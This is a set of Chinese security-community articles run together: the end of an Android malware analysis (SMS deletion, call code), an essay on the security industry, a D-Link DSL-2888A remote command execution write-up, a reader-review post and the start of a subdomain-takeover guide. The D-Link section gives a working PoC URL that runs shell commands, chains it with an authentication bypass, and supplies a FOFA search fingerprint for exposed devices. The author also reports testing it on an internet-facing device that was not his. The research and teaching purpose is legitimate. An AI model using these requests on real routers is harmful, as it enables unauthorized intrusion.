sharedPreferenceEditor.putString("url", url).commit();
sharedPreferenceEditor.putString("inst", "1").commit();
}
break;
6.9.9 重命名类
根据两个函数中的信息，这个类通过将命令（字符串）与已知命令列表进行比较，然后调用正确的类来执行请求的操作，从而处理特定命令。因此，我们将这个类重命名为CommandHandler。
### 6.10 TelephonyManagerWrapper2
TelephonyManagerWrapper2的代码如下：
public static void removeSentMessages(Context context, String body, String numberTo) {
try {
Uri parse = Uri.parse("content://sms/inbox");
Cursor query = context.getContentResolver().query(parse, new String[]{"_id", "thread_id", "person", "date", "body"}, null, null, null);
if (query == null) {
return;
}
if (query.moveToFirst()) {
do {
long firstMessage = query.getLong(0);
String thread_id = query.getString(2);
if (body.equals(query.getString(5))) {
if (thread_id.equals(numberTo)) {
context.getContentResolver().delete(Uri.parse("content://sms/" + firstMessage), null, null);
}
}
} while (query.moveToNext());
}
} catch (Throwable th) {
}
}
如果号码和消息正文都匹配该函数参数提供的号码和文本消息正文，那么发送到收件人号码的所有消息都会从手机中删除。
callPhoneNumber函数代码如下：
public final void callPhoneNumber(Context context, String phoneNumber) {
((TelephonyManager) context.getSystemService("phone")).listen(new q(this, context, (byte) 0), 32);
Intent intent = new Intent("android.intent.action.Call");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri.fromParts("tel", phoneNumber, "#"));
context.startActivity(intent);
}
调用在此函数中作为参数提供的号码。名为q的类，是PhoneStateListener类的包装器，如下所示：
final class q extends PhoneStateListener {
Context context;
final TelephonyManagerWrapper2 telephonyManagerWrapper2;
private q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context) {
this.telephonyManagerWrapper2 = telephonyManagerWrapper2;
this.context = context;
}
q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context, byte b) {
this(telephonyManagerWrapper2, context);
}
public final void onCallStateChanged(int i, String str) {
}
}
因此，它可以重命名为PhoneStateListenerWrapper。
## 七、总结
至此，恶意软件中的所有类都被我们发现、分析和重新编写。这样一来，我们就掌握了恶意软件的命令，和内部工作的原理。在最后一次检查manifest时，所有类都已经被重新编写。 | 社区文章 |
# 安全从业者，该凭什么赢得你的尊严
##### 译文声明
本文是翻译文章，文章原作者 CyberThreatAnalyst，文章来源：CyberThreatAnalyst
原文地址：<https://mp.weixin.qq.com/s/UrQF5jgVbRuV_FZf6XXhhA>
译文仅供参考，具体内容表达以及含义原文为准。
前天，我写了一篇[《赚了20亿美元GandCrab勒索病毒家族的故事》](https://mp.weixin.qq.com/s/DlPaBxIDN0G_xc4o_1SFKw)，其实里面还有很多内容我没有提及，在文章的最后，我留下了两段话：
GandCrab勒索虽然结束了，然仍安全并没有结束，而且在后面一定会越来越多的黑产团队加入，GandCrab也打开了潘多拉之盒，会有多少像GandCrab的黑产团队出来作恶就不知道了，这些年做勒索和挖矿的黑产，基本都发财了，闷声发着大财……
赚了20亿美元GandCrab勒索病毒家族的故事已经结束，但我的故事还在继续，还有更多各种不同的恶意样本家族需要我去跟踪分析，勒索、挖矿，银行木马、僵尸网络、APT间谍远控等等……
这是一个悲伤的故事，做黑产的都赚着大钱发财了，做安全的却赚着一点辛苦钱，靠微薄的薪水维持生活，甚至不受人待见，很多朋友看过之后，都发表了自己的一些感慨，有些还写了相关的文章，还有一些指责做安全的，说连个勒索都防不住？怎么做安全的？反正各种议论都有……
后台很多人问我，到底是什么原因让我坚持做安全，一直坚守着自己的信念，其实在上一篇文章的最后，我已经埋下了伏笔，GandCrab的故事结束了，安全的故事其实才刚刚开始，趁端午节有空，我想了这篇文章，《安全从业者，该凭什么赢得你的尊严》，算是《赚了20亿美元GandCrab勒索病毒家族的故事》的续篇吧….
我们先来看看这几年安全圈都在做什么？一些安全从业人员都在忙什么？
1.刷榜
国内各大小公司都推出了自己的SRC平台，然后一大批新的安全力量涌入，热忠于到各大SRC平台刷榜，一来可以展示自己的实力，二来可以赚到一些奖赏，属称：赏金猎人，在赚到钱的同时，也得到了安全行业的认可，成为了安全小弟眼中的“大表哥”
2.比赛
国家这些年已经越来越重视安全，各大高校也非常重视安全人才的培养，高校与企业联合举办了各种各类的CTF比赛，一些热爱安全的大学生都积极参加，获取名次，提高了安全人员的安全能力，不仅仅参加国内的比赛，一些安全研究人员，也热忠于出国去参加各种安全比赛，获得Monster
Of Pwn等称号
3.会议
每年国内都会举办各种安全大会，内容之丰富，包含了安全的各个方面，大批安全从业人员以及安全爱好者都积极参加，一起讨论各种安全解决方案，产品等
从表面上看，不管是国家，还是企业，高校等都越来越重视安全，积极的举办各种安全的活动，提高安全能力，然而这些年做黑产的却越来越多，搞黑产的也越赚越多，问题出在哪？为什么会这样？
这就要从很早的安全行业开始说起了，从大家讲一个故事……
很早以前安全市场，大部分做安全的公司都是做2C市场的，因为那时候安全软件是可以卖钱的，那个年代病毒横行，个人电脑上主要流行的以病毒、木马为主，灰鸽子，GHOST等远控木马非常流行，那个时代的搞黑产的给别人电脑安装各种远控木马偷窥别人，有些比较恶劣的就是用这种方式进行敲诈勒索，也许这就是早期黑产勒索产业链吧
那个时代流行的病毒主要分类有：盗号木马、感染型病毒、U盘蠕虫类病毒、远控木马、后门、下载器(以鬼影病毒为代表)
当时国内安全软件界有三大亨：某星（老大），某山（老二），某民（老三），基本国内用户的电脑装机之后都会选择安装其中的一款软件，当时大家的电脑好多都是在电脑城自己组装的，电脑城装机在哪里也非常火，有些安全软件估计和他们有合作，给用户电脑安装相应的安全软件，然而这些安全软件是收费的，所以大家就会在网上找那种免费半年的试用版，也有一些用户选择安装国外的一些免费或收费的软件，比方小红伞、卡巴斯基、赛门铁克、BitDefender，麦咖啡等等，可以说当时国内安全软件界还是很发达的，技术也是不错的，不会比国外的那些安全软件差多少
某山一直想当老大，可惜就算老大不行了，也一直没有做成老大，一直做着老二的地位，这是为什么呢？
突然有一天，某字加入了安全软件界，然后推出了一个国人都喜爱的行为：免费！一下子，大家都乐开了花，不用去天天到网上找那种半年免费的安全软件了，某字一下子火了，大家发现不用花钱真好……
后面大家都知道了，某字成功了，上市了，赚到钱，某星被彻底打败了，某山勉强维持着生计，还是做着老二的地位，某民自己转行了，某字一统了国内安全软件市场，免费的软件大家用的都很爽
当时有一些企业在做2B市场，比方：某辰、某盟、某服等，不过他们当时在安全圈似乎没有太多关于他们的故事，也许是我没有关注这块，因为我当时也不在这些企业做事，这些企业在2B的市场里默默的做着自己的事，赚着自己的钱
国内2C安全，以某字称王而结束，数字上市了、发财了，大家都使用着免费的软件，然后免费东西并不一定是好事，事实上几年之后就出现了“后遗症”，导致整个2C市场的一些乱象
出现了什么“后遗症”呢？我这里简单说三点：
1.部分安全人员流失，或去从事灰黑产
数字一家独大了，某字的安全人员上市之后，部分人随着上市发了一点财，不想那么累了，也不想那么苦逼了，有些就转行了，不做安全了，可是别的安全公司的人员，只能去另谋出路，有些看着某字公司的安全人员上市发财了，就去从事灰黑产了，有些干脆转行了不做安全了
2.国内各大流氓网站以及软件横行，基本无人管
看看现在国内个人电脑上都是些啥，以及国内软件下载网站上都是些啥，大量的“流氓”软件，捆绑下载，诱导安装、全是全家桶，弹广告，刷流量，偷偷后台下载等，其中还包含一些以前的安全厂商，做起了锁主页，靠流量生存，这里我就不多说了，大家都知道，一切都是为了生存而已
3.第三点就是我上面说的，这些年安全都在做什么，因为2C安全不赚钱了，只能打比赛，办会议，刷SRC，没人去管什么病毒木马，恶意软件，之前转去做灰黑产的人越来越多，团队越来越大，赚的钱也越来越多，某字一家独大，大部分以前2C的安全厂商都转行了，某山做起了移动端的生意，现在又转去做AI，游戏了，基本和安全告别了，只有部分人员还在做着锁主页的生意，某星基本就转战政企合作了，也退出了2C市场……
2C安全市场的消亡，各大安全厂商在2C赚不到钱了，以前2C市场不好做，个人用户不愿意花钱购买软件，后面有了免费安全软件，个人用户更不肯花钱购买安全软件了，导致2C的安全厂商没有了赚钱来源，只能靠流量推广了……
2C的安全故事，就这样结束了，上面都是一些个人的观点与看法，故事纯属虚构，如有雷同，纯属巧合，这仅仅是一个故事，过去的都过去了，我们要展望未来！
故事讲完了，我来说说这些年我都在干啥，这些年我一直在坚守着自己的底线，也一直在坚持做着安全研究，分析各种恶意样本，这些年的坚持是为什么，在坚守着什么？其实在安全圈混了这些年我混的并不好，也没有赚到什么钱，然而不管怎么样，不管遇到什么困难，也不管在身在何处，做着什么，我还是坚守着自己的安全研究，没有被任何事物所影响，就像上篇文章说的，这么多年，我一直坚守两点：1.坚持安全研究
2.不做黑产！
做人如果没有梦想，和咸鱼有什么区别呢？这些年我为什么能坚持，因为我一直坚信，做安全有前途，一定能赚到钱，而且安全很重要，未来的企业如果不重视安全，迟早会吃亏，甚至无法生存，这些年我也一直跟身边的朋友这么说，坚持做安全，不要放弃，总有一天全球都会开始重视安全，我们不能放弃自己的安全能力，将来一定有我们的用武之处，也许现在我们过的很苦逼，甚至被人瞧不起，无所谓，总有一天，让别人知道什么才是真正做安全的，做安全的默默守护着大家的安全，为什么我一直坚持，只为了安全人员的尊严！
这些年我一直坚持做安全没赚到什么钱，做安全的有时候不也受人待见，被人无视，甚至还有一些人觉得我们做安全的人没什么用，各种冷眼与嘲笑……
有时候就靠写点文章增加一点点收入，贴补一下家用，有时候做安全真的很苦，我曾也想过放弃，不做安全了，去做别的，或者直接去做灰黑产吧，但后面我还是坚持下来了，因为不管我在做什么，我一直在坚持着，没有忘记自己做为一个安全分析师该做的事，只要有机会遇到或能做一点安全相关的事，我都会尽力去研究，去做，有一次遇到流氓软件，我马上分析了一篇文章发到了FreeBuf上，如下所示：
还有一次我的手机每天都收到垃圾短信，然后我研究分析之后，也发了一篇相关的文章发到FreeBuf上，如下所示：
虽然每次写这些可能只有两三百块钱的稿费，有时候会被人笑，说做安全的不值钱，但我觉得作为一名安全分析师，我可以利用自己的知识，给大家传递一些安全知识，分析一些安全问题，也挺好的，我从来没有忘记自己是做安全的，所以我一直坚持去做！
这几年MAC上的恶意软件也越来越多，每年都会的各种新的MAC恶意软件涌出，我研究了MAC的SIP安全机制，发了一篇关于SIP安全机制的文章，如下所示：
然后我还会时不时将一些自己研究或看到的一些有用的安全相关的知识进行了总结，发到了github上，对OSX安全有兴趣的朋友，可以去下载相关的资料研究学习：<https://github.com/pandazheng/IosHackStudy>
2016年有个华为的朋友发给我一个样本，让我帮忙看看，我分析之后发现一款非常流行Linux下的DDOS攻击样本，直到现在这款样本依然在Linux
DDOS攻击中占据大片江山，如下所示：
2013年9月，戴尔公司的SecureWorks威胁对应部门发现了一种名为CryptoLocker的勒索病毒，通过邮件进行传播感染，2014年12月Sophos和ESET安全公司的安全研究人员发现了一种新型的可自我复制的勒索病毒VirRansom，从2013年起，勒索病毒就开始展露头脚，不断有新的勒索病毒出现，勒索病毒从2015开始变得非常流行起来，移动端的勒索也是非常多，因为当时移动非常火，安卓手机上出现的各种勒索病毒，PC上也有一些勒索病毒，在2016年的时候阿里先知论坛举办了一个针对勒索病毒的专题，于是我写了一篇Linux下比较流行的一个勒索病毒KillDisk的分要报告，这款勒索病毒也是由ESET安全公司首次发现的，如下所示：
2016年10月21日晚间，北美地区大量反馈若干重要的互联网网站无法正常访问，涉及到的网站包括twitter、paypal、github等。本次事件是由美国知名网络域名服务提供商Dyn遭受到强力的DDoS攻击所致，后面由Flashpoint公司确认是通过Mirai僵尸网络进行的攻击，Mirai是一种基于IOT设备的僵尸网络恶意程序，后面该源码被公开之后，如下所示：
各大安全厂商开始发布各种分析报告，随着源码被公开，后面出现了各种Mirai的变种样本，我分析过它的几个变种样本：Hajime,Persirai,DvrHelper,BrickerBot，并在我的微信公众号，发布了基于物联网安全研究的报告，如下所示：
基于物联网安全的安全研究我从四个层面进行了剖析，而且我都做了相应的研究与分析，如下所示：
有兴趣的可以看我微信公众号发表的相关文章，同时我也感谢当时所在公司，让我有机会深入的研究分析物联网安全存在的各种安全风险以及安全问题，当时我们做了大量关于物联网安全的各种研究，而且我所在的安全实验室也是国内实力非常强的芯片安全攻防实验室，在侧信道安全以及芯片密码学两方面都有很深的研究，属于深圳市重点实验室，里面有各种芯片安全研究的设备，我很高兴能和他们一起共事，他们也让我学习了一些芯片安全相关的知识
我整理了相关的Miari安全相关的安全分析和文档，如下所示：
Mirai安全事件虽然已经过去了一段时间，然后Mirai的变种还是非常流行，我捕获到了很多它的变种样本，并进行了相关的分析，如下所示：
大部分基于Mirai的样本，都是采用交叉编译的方式，编译于各种不同平台的程序，进行攻击，类似于这种，如下所示：
后面有空我也会写一些关于Mirai各种的恶意软件的分析报告
从上面我追踪到的各种安全事件，可以看到最近几年各种安全事件不断爆出，涉及到的安全问题，安全平台也越来越多，不管什么时候，我一直都非常关注各类安全事件，并对这些事件进行研究分析，可以发现在不同的安全平台下，针对企业的安全攻击也越来越多，未来一定是企业安全的黄金期，会有越来越多的安全厂商转战企业安全，于是我决定离开之前的公司，离开之前的安全实验室，加入一家企业安全公司去做企业安全
2018年我加入了新的公司，开始转战2B安全战场，这些年我一直坚持研究各种安全知识，关注全球发生的各类最新的重大安全事件，涉及到各种不同的安全平台，未来肯定是一个大安全时代，同时2B安全行业一定会兴起，至少未来十年一定是做2B安全企业的黄金发展期，企业安全的浪潮已经来了，安全人员的机会来了，现在也有越来越多的安全人员转战企业安全公司，同时也有一批老牌或新的安全公司投入到企业安全之中
未来企业安全一定会有很好的发展，我始终坚信这一点，果然没错，随着国家政企业，高校和各大企业对安全的越来越重视，很多安全公司都涌入到了企业安全的行业中，安全行业仿佛又回到了重新，都回来了
安全的春天仿佛已经来了，然后我们一定要明白一点，做安全一定要回归本质，一定要做好安全的本职工作，不管你是做移动安全、渗透测试、WEB安全、漏洞分析挖掘、网络安全攻防等，一定要扎扎实实，静下心来研究安全技术，这几年安全圈太过于浮燥，有些懂安全的人，也离开安全圈，不做安全了，随着企业安全的掘起，需要更多懂安全，坚持做安全的人加入到这场战争中来，同时国家与国家之间在未来也存在安全攻击问题，也需要更多的人加入，做安全需要的是一份坚持！
有人说GandCrab勒索病毒运营团队赚了20亿，做安全不赚钱，做企业安全一定赚钱，随着未来国家越来越重视安全，等保2.0也发布了，5G也出来了，网络安全问题也一定会越来越重要，需要更多的安全人才加入
不管是漏洞挖掘，还是打比赛，还是举办各种安全会议，安全不要跟黑产脱节，做企业安全更需要了解黑产，需要对各种安全攻击，黑产活动进行追踪分析，不仅仅是打比赛，我们要直接对抗各种黑产，安全的本质就是人与人的对抗，如果做安全的人，不去分析最新的流行安全事件，不去追踪最新的黑产团伙，那做安全又有啥意义？
我支持打比赛，特别是一些高校，一定要多举办这种安全比赛，可以提高高校大学生的安全能力与水平，同时我也支持举办各种安全会议，大家可以坐下来，研究讨论各种安全问题，追踪的各种黑产团队，刷SRC可以为企业找到更多可能存在的安全风险，但这些不能仅仅限于形式，或只追求形式，或者成为一种套路，大家一味的追求这些，就失去了做安全的本质，做安全还是需要对黑产有更多的了解与研究，如果整个安全圈都沉迷于这些，却没有去想着如何给企业提供更好的安全保障，解决企业遇到的各种实际安全问题？那这些活动就失去了意义了，举办这些活动是为了更好的提高大家的安全能力和安全意识，SRC平台也是为了让企业更加重视安全，减少一些潜在的安全风险等，高校举办CTF为了培养更多的安全人才，我们可以让这些活动更加结合实际的黑产案例，是不是更好一点，同样安全会议，我们能不能讨论更多企业遇到的实际安全问题和安全事件案例，以一个实际的案例进行讲解分析讨论，然后追踪到背后的黑产团伙等等，仅仅个人建议，有说的不对的，请大佬们多多包涵，我是希望大家能真正一起做好安全，让真正懂安全，坚持做安全的人能得到更多的回报
做安全的本质就是对抗黑产，不与黑产对抗，整天在自己的安全圈里自娱自乐，企业安全问题越来越多，没有解决，那做安全又有啥意义？
让安全回归本质，不要浮于表面，有更多想做安全坚持做安全的人加入进来，一起做安全，现在企业安全面临的安全问题真的很多，企业安全需要做安全的一起来维护，全球每天都有各种安全事件的发生，以及各种恶意样本的攻击，漏洞的爆发，真正把安全做起来，一起做好企业安全，而且现在的企业也越来越重视安全问题，坚持做企业安全吧
GandCrab黑产团伙赚到了钱，我们做企业安全也一定会赚到钱，也一定能赚到钱，我们不做安全穷人，做黑产的能赚到钱，做安全的一定可以，国内的企业安全市场很大，而且还有很大的发展空间，赚钱不可耻，谈钱也并不伤感情，我们赚到了钱，又帮企业客户解决了这问题，不是双赢吗？不管哪个行业，总是坚持到底的人赚到了钱，做安全更需要坚持，因为未来会的更多新的安全问题产生，会需要更多专业做安全的人，我接触到的很多企业客户，其实大部分企业客户都很愿意为安全买单，而且他们也很重视安全问题，只要坚持做好了安全，一定可以赚到钱，未来的安全一定是要靠提供更好的安全服务来给企业，企业需要的不仅仅是一套产品，而且一套产品也解决不了所有的安全问题，企业需要的更多的是一种安全保障，安全产品+安全服务，不过这又是另外一个话题了，这里就不展开讲解了，如果大家有兴趣我后面再写一篇相关的文章，深度剖析讨论一下企业安全问题以及对应解决方案，怎么样做好企业安全等等
安全从业者，该凭什么赢得你的尊严，也许每个人都有了自己的答案！
最后欢迎大家关注我的微信公众号: CyberThreatAnalyst
，后面我会不定期分享一些安全核心技术分析，黑产追踪对抗，最新安全动态解读，安全事件分析等文章，只分享纯干货！安全的路还很长，贵在坚持，我会坚持走下去，同时也非常感谢那些留言支持我的朋友，在安全的这条路上，我仅仅是一名安全从业人员，微不足道，我需要更多的战友，一起努力去做好安全，让安全更有价值，让那些真正懂安全，坚持做安全的人，赢得自己的尊严，并得到应有尊重与回报，而不是被无视……
本文转载自: [CyberThreatAnalyst](https://mp.weixin.qq.com/s/UrQF5jgVbRuV_FZf6XXhhA) | 社区文章 |
# CVE-2020-24581 D-Link DSL-2888A 远程命令执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## D-Link DSL-2888A 授权问题漏洞
CVE-2020-24581 D-Link DSL-2888A 远程命令执行
D-link DSL-2888A是中国D-link公司的一款统一服务路由器,如下图所示：
## 漏洞信息
**漏洞描述：**
D-Link DSL-2888A AU_2.31_V1.1.47ae55之前版本存在安全漏洞，该漏洞源于包含一个execute
cmd.cgi特性(不能通过web用户界面访问)，该特性允许经过身份验证的用户执行操作系统命令。
在该版本固件中同时存在着一个不安全认证漏洞（CVE-2020-24580），在登录界面输入任意密码就可以成功访问路由器界面。
通过组合这两个漏洞可以实现未授权的任意代码执行
**漏洞编号：** CVE-2020-24581、CVE-2020-24579
**fofa指纹：** body=”DSL-2888A” && server==”uhttpd”
**影响版本：** AU_2.31_V1.1.47ae55之前版本
**固件下载：** [固件下载链接](https://www.dlink.com.sg/dsl-2888a/)
**POC:**
**`http：//DeviceIP/cgi-bin/execute_cmd.cgi？timestamp = 1589333279490＆cmd =
ls`**
## 漏洞分析
下载固件之后，使用Binwalk 将固件解开
`binwalk -Me DSL-2888A_AU_2.12_V1.1.47Z1-Image-all.bin`
解开是jffs2格式的文件系统，进入jffs2-root 目录，根据poc直接定位execute_cmd.cgi文件
由于漏洞需要web服务触发，因此需要了解固件中组件的位置，这里在/etc/rc.d/rcS中看到有dhttpd
最终dhttpd 定位再/usr/sbin/dhttpd
此漏洞的产生点位于execute_cmd.cgi文件，但是我们需要知道是怎么执行到execut_cmd.cgi.
使用IDA打开dhttpd文件。
根据cgi-bin字符串来最终定位到函数在sub_BEA0中
在函数的56行，可以看到会把访问要访问的文件和cgi-bin拼接成一个可以访问的url，并且在57行进行判断cgi文件是否存在。在67行可以看到会检查访问的文件是否有可执行权限。并且在获取路径中要执行的文件后，会将当前目录更改为文件存在的目录。
在110~114行，可以看到在给v24 传入值，在后面可以发现，v24是文件执行的环境变量，此处是在给execute_cmd.cgi
配置环境变量数组，这里可以看到执行文件可能需要设备登录权限。
紧接着在148行调用sub_BB5C函数，这个函数主要是来执行文件的函数，里面调用了execve()函数，因此参数file、v19、v24
这三个参数会传入到execve()函数中，最终执行execute_cmd.cgi文件。
因此登录设备之后，就可以执行任意的cgi-bin中的文件，对文件没有做任何限制。
### **接下来分析httpd是如何调用到cgi-bin的**
首先在sub_9F24()函数中，初始化web 服务。其中的sub_9C4C()函数就是加载cgi的函数，如下图所示
如下图是sub_9C4C函数中的主要代码，可以明显看到60行加载了cgi-bin组件，并且调用sub_BEA0()函数。
### **分析execute_cmd.cgi 文件**
如下图所示，这个文件会获取QUERY_STRING这个参数，”echo ${QUERY_STRING} | cut -d = -f 3”
这段代码可以获取第二个参数的值，并且在后面执行这个命令。这里们可以看到对参数的值没有限制，甚至对参数都没有做限制。这里下面复现漏洞的时候可以看到。
在dhttpd中可以检索字符串可以看到在sub_144B4中传入了这个字符串QUERY_STRING，
我们在ajax.js(/www/js/ajax.js)中也可以看到querystring 字符串，可以发现url是通过ajax.js
拼接好，发送到dhttpd中进行处理。
### 漏洞复现CVE-2020-24579+CVE-2020-24581
由于手头上没有设备，只能在fofa中找到一款设备用来复现漏洞。 命令执行的漏洞需在绕过身份验证之后才能进行触发。
下图是设备的登录界面，随便输入密码
在密码框中输入任意字符，点击Login。会重定向到http://xxx/page/login/login.html?error=fail
根据POC所示，再输入http:/xxx/cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=uname
-a
可以看到成功的执行了命令。
在分析了设备的execute_cmd.cgi文件之后，发现不管什么参数都会识别，参数没有限制，于是下面这种也可以
http://XXX/cgi-bin/execute_cmd.cgi?taa%20=%20ssss%EF%BC%86aa%20=%20uname%20-a
## 参考:
<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/> | 社区文章 |
# 安全客2017年季刊-第4期阅读分享 | 老读者有话说
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
[**点击下载：安全客2017年季刊-第4期**](https://static.anquanke.com/download/b/security-geek-2017-q4.pdf)[
](http://bobao.360.cn/download/book/security-geek-2017-q3.pdf)
[**【文章传送门】安全客2017季刊-第4期，你想要的干货全都有！**](https://www.anquanke.com/post/id/93020)
## 前面的话
昨天我们发布了安全客2017年季刊-第4期，几个小时之后，后台就被读者的留言淹没了，有赞美的有提意见的，小编从中精选了五位安全客季刊的资深读者留言，他们在看过这次的季刊之后，有什么样的收获与体验，哪篇文章是他们的最爱，是最想推荐给大家的呢？下面，我们就一起来听听他们的“读后感”吧。
## 资深读者阅读分享
读者ID:Ghost unicorn
推荐文章《对深度学习的逃逸攻击 ——探究人工智能系统中的安全盲区》
作者：肖学奇、许伟林、李康@360 Team Seri0us
文章来源：【安全客】 **<https://www.anquanke.com/post/id/87037>**
随着人工智能越来越火，很多人工智能与实体业的结合落地，对于人工智能算法大部分都用卷织神经算法，对于它的框架开源的安全性也有待研究，对于算法不同于数学科学的严谨，做不到百分之百的学习识别，便产生了漏洞，逃逸攻击也会随着人工智能的发展越来越深入，对于不法人员也会因为人工智能的普及网逃逸攻击发展，对于未来世界的安全，还需针对这一不可抗力的算法，进行有规范有规则的大量测试，未来世界上人工智能，我们也要对人工智能的安全负责！查理芒格有句话说的好“假如你知道以后你死亡的地点，你还会去那个地方么？”这句话和人工智能的盲区一样，值得深思！
读者ID:HackPwn
推荐文章《WPA2 KRACK Attacks 分析报告》
作者：360 天马安全团队
文章来源：【安全客】 **<https://www.anquanke.com/post/id/87023>**
如今WIFI无处不在，WPA2的这个KRACK漏洞虽然没有WEP漏洞和无线路由器的WPS漏洞影响大，但也对用户造成不小的威胁，攻击者可以根据合法SSID伪造出一个同名的钓鱼WiFi，并利用KRACK漏洞迫使无线客户端连接到这个伪造的钓鱼WiFi上，这样攻击者就可以对无线客户端的网络流量进行嗅探、篡改，从而得到各类网站的登陆账号和密码。网上到处都是关于KRACK漏洞的新闻，让一些不明真相的人以为是WPA2加密出现了漏洞，报告中也说明了这个漏洞是利用的WPA协议层中的逻辑缺陷，WPA2加密协议本身还是安全的，用户也不用着急去修改自己的WiFi密码。这篇分析报告很科普，同时也解答了很多人心中的疑惑，是一篇很棒的分析报告。
读者ID：Snowflake
推荐文章《钓鱼邮件威胁检测实战及典型样本分析》
作者：360 Meshfire Team
文章来源：【安全客】 **<https://www.anquanke.com/post/id/88145>**
邮箱是钓鱼爱好者喜欢聚集的地方，邮箱钓鱼的场景也在黑客电影《我是谁
没有绝对安全的系统》中出现过。无论对个人用户还是企业、组织来说，钓鱼邮件攻击都是最为严重的安全威胁之一，很多APT攻击事件中，攻击者都是通过邮件钓鱼的方式渗透到攻击目标的内部网络中，文章开始简单介绍了邮件威胁防护的总体思路、邮件威胁检测的理论依据、钓鱼邮件检测流程，最后详细讲解了一个实战经历，实战经历中又详细介绍了
对钓鱼邮件样本的分析，这是一篇难得的关于介绍钓鱼邮件威胁检测的文章，值得我们仔细研读，好好理解。
读者ID：藏形匿影
推荐文章《深度剖析：手机指纹的马奇诺防线》
作者：小灰灰@百度安全实验室
文章来源：【Seebug】[
**https://paper.seebug.org/471/**](https://paper.seebug.org/471/)
文章非常详尽的分析了市面上的各种手机指纹识别方案和技术实现，以及讲述了如何有效对这些活体识别手机指纹识别系统进行成功破解，通过实例让我们了解到其实现在市面上的手机指纹识别并没有厂商宣称的那么安全，本文非常值得阅读和学习收藏，感谢作者对这项技术的深入研究和分享，期待出更多好文章。
读者ID：黯夏子风
推荐文章《Android Accessibility 点击劫持攻防》
作者：瘦蛟舞@小米安全
文章来源：【小米】[
**https://sec.xiaomi.com/article/36**](https://sec.xiaomi.com/article/36)
劫持是攻击竞品app的很有效的方式，相对应的，对于劫持的防护也变得越来越重要。以此延伸出对于安卓手机的攻击，各种隐私信息将被泄露和盗取。文章从劫持的分析入手，深入剖析了原理并对应的给出了防御思路和解决方案。不管是从阻止AccessibilituNodeInfo的操作过滤还是增加对调用方包名的签名验证，亦或是Service中转，我们的思路都是通过修改自身或者增加验证使得攻击方无法执行模拟点击操作。反过来说，对于攻击方，理论上同样可以增加类似的验证绕过或者更多的劫持思路。攻防之路曼曼，共同update才能共同进步。
## 投稿及联系方式
在线投稿：[
**https://www.anquanke.com/contribute/tips.html**](https://www.anquanke.com/contribute/tips.html)
联系电话：010-52447914（工作日10:00-19:00）
[**点击下载：安全客2017年季刊-第4期**](https://static.anquanke.com/download/b/security-geek-2017-q4.pdf) | 社区文章 |
本文翻译自：<https://www.hackerone.com/blog/Guide-Subdomain-Takeovers>
## 前言
根据HackerOne的Hacktivity 版块（版块内有大量已公开/未公开的安全报告） 可以清楚地看到 **子域名劫持报告** 所占的份额。
自从[Detectify 关于子域名劫持的精彩的系列报告](https://labs.detectify.com/2014/10/21/hostile-subdomain-takeover-using-herokugithubdesk-more/)以来，bug悬赏行业发现有关子域名劫持的报告迅速激增。子域名劫持的大概意思是，主站指向了一个已停用的子域名，而攻击者通过在第三方服务商注册，从而在子域名上提供危险的内容
。作为黑客和安全分析师，我每天都会处理这类问题。 我今天的目标是撰写一份指南，包含理解，查找，利用和报告子域错误配置。
本文假设读者对[域名系统](https://en.wikipedia.org/wiki/Domain_Name_System) （Domain Name
System, DNS）有基本的了解，并知道如何设置子域(Subdomain)。
> 译注：本文中“子域”与“子域名”同义。
## 子域名劫持简介
如果你之前从未听说过子域名劫持或希望再听一遍，我已经设计了一个示例场景来帮助理解基础知识。 _对于这种情况_
，让我们假设`example.com`是测试目标，运行`example.com`的团队对此有一个bug悬赏计划。
在枚举属于example.com的所有子域时（我们将在稍后探讨如何枚举）黑客偶然发现了`subdomain.example.com`
，一个指向GitHub页面的子域名。 我们可以通过查看子域名的DNS记录来确定这一点; 在此示例中，
`subdomain.example.com`具有多个A记录，指向GitHub的[自定义页面的专用IP地址](https://help.github.com/articles/quick-start-setting-up-a-custom-domain/) 。
$ host subdomain.example.com
subdomain.example.com has address 192.30.252.153
subdomain.example.com has address 192.30.252.154
$ whois 192.30.252.153 | grep "OrgName"
OrgName: GitHub, Inc.
导航到`subdomain.example.com` ，我们会发现以下404错误页面。
黑客大多会从这一点开始入手。 此404页面表示顶级目录下没有提供任何内容，我们应该尝试将此子域加到我们的个人GitHub仓库。
请注意，这并不表示可以在所有应用上进行劫持。 某些应用会同时检查HTTP和HTTPS响应，而某些应用程序可能根本不受劫持攻击。
将子域添加到我们的GitHub项目后，可以在别人的网址`subdomain.example.com`
看到我们的GitHub仓库的内容——这说明我们已成功声明了这个二级域名。 出于演示目的，主页现在显示一张青蛙的图片。青蛙找虫(bug)。
## 二阶子域名劫持
二阶子域名劫持，我喜欢称之为“ 坏链劫持 ”。这个易受攻击的子域可以不属于目标，但是能够往目标的网站上提供内容。
具体一点的说，目标页面上所导入的多项资源，比如一连串的JavaScript脚本，其中就有一个来自已经被黑客劫持的子域。最终导致储存型跨站点脚本攻击，因为攻击者可以在目标页面上加载任意代码并使其在客户端执行。
我在本指南中专门列出此问题，是为了突出这样一个事实：作为黑客，我不会把自己束缚在目标主机的子域上。我会通过检查源代码并扩展活动范围到目标所依赖的所有主机上来寻找可被劫持的子域。
这也是为什么说，当你劫持一个子域名时，绝对值得投入时间去查看是否有其他页面从你的子域导入资源。
## 子域枚举和发现
我们已经概述了在错误配置的子域上提供内容会产生什么样的后果，下一步是掌握查找易受攻击的子域所需的各种技术，技巧和工具。
在深入学习之前，我们必须首先区分爬虫爬取和暴力枚举。这两个过程都可以帮助你发现子域，但可能会有不同的结果。
爬虫爬取是一种被动侦察技术，使用外部的第三方服务和来源来收集属于特定主机的子域。 某些服务（例如DNS
Dumpster和VirusTotal）可以检索过去已被爬取的子域，这可以让你不花费太多精力就能快速地收集和分类那些爬取结果。
`DNS Dumpster上属于reddit.com子域的结果。`
可供爬取的不只有索引页面，还要记住检查目标的GIT仓库，内容安全策略头部信息，源代码，问题跟踪器等等。来源列表是无穷无尽的，我不断去发现能增加爬取结果的新方法。
